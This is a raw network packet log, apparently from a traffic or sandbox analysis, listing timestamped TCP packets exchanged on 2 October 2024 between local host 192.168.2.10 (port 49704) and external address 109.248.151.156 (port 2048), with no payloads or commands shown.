Oct 2, 2024 05:23:21.901534081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901534081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901555061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901679993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901690960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901701927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901712894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901725054 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901741982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901820898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901833057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901844978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901855946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901866913 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901876926 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901876926 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.901879072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.901906013 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.902781963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902807951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902820110 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902877092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902877092 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.902877092 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.902889013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902899981 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902941942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902951956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.902976036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.902976036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903019905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903033018 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903063059 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903163910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903183937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903201103 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903218031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903229952 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903239965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903244972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903250933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903263092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903270006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903270006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903292894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903325081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903337002 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903347015 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903382063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903389931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903402090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903414011 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903438091 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903445005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903455973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903467894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903508902 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903532028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903544903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903556108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903568029 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.903580904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.903594971 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907073975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907102108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907111883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907123089 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907134056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907136917 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907176971 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907176971 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907183886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907200098 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907217026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907227993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907241106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907262087 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907262087 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907262087 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907274008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907284021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907316923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907316923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907382011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907401085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907413006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907424927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907438993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907440901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907466888 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907485008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907494068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907494068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907495975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907509089 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907531023 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907856941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907879114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907900095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907924891 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.907962084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907973051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.907988071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908001900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908004045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908004045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908014059 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908050060 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908255100 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908268929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908298969 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908410072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908421993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908433914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908464909 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908472061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.908476114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908492088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908503056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.908533096 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.950939894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988276005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988316059 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988379002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988393068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988410950 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988423109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988455057 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988467932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988518953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988533974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988540888 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988559961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988576889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988586903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988596916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988600969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988636017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988636017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988657951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988668919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988678932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988732100 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988735914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988748074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988765001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988768101 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988776922 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988789082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988809109 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988846064 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988866091 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988878012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988892078 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988903999 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.988938093 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.988938093 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989068985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989080906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989089966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989104986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989119053 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989130020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989139080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989139080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989140987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989151955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989161968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989171982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989176989 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989183903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989190102 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989227057 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989402056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989415884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989427090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989438057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989448071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989459038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989464045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989464045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989469051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989480019 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989490032 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989500046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989511013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989516973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989516973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989521027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989538908 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989571095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989582062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989593983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989598989 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989615917 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989669085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989679098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989681959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989692926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989703894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989715099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.989726067 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.989809036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990315914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990360975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990371943 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990382910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990411997 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990411997 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990431070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990442991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990453005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990467072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990483999 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990494967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990498066 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990508080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990545034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990552902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990564108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990605116 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990633011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990643024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990683079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990694046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990698099 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990710020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990742922 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990742922 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990748882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990760088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990770102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990794897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990797043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990818977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990833998 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990901947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990912914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990923882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.990952969 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.990952969 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.991029024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991039991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991055965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991069078 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991080046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991089106 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.991099119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991106987 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.991110086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.991164923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.991437912 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994662046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994682074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994705915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994723082 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994724035 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994735003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994745970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994745970 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994756937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994797945 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994797945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994797945 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994811058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994822979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994833946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994873047 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994873047 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994900942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994913101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994923115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994934082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994945049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994956017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.994966984 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994966984 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.994993925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995007038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995017052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.995042086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995057106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995074987 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.995079041 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995090008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995116949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.995131969 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.995421886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995440960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.995479107 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996084929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996097088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996107101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996131897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996176958 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996186972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996197939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996208906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996220112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996242046 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996242046 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996264935 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996294975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996305943 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996316910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996326923 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996337891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996346951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.996380091 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996380091 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.996408939 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.075994015 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076037884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076052904 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076071978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076082945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076095104 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076106071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076128960 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076129913 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076173067 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076211929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076225042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076236010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076246023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076257944 CEST	2048	49704	109.248.151.156	192.168.2.10
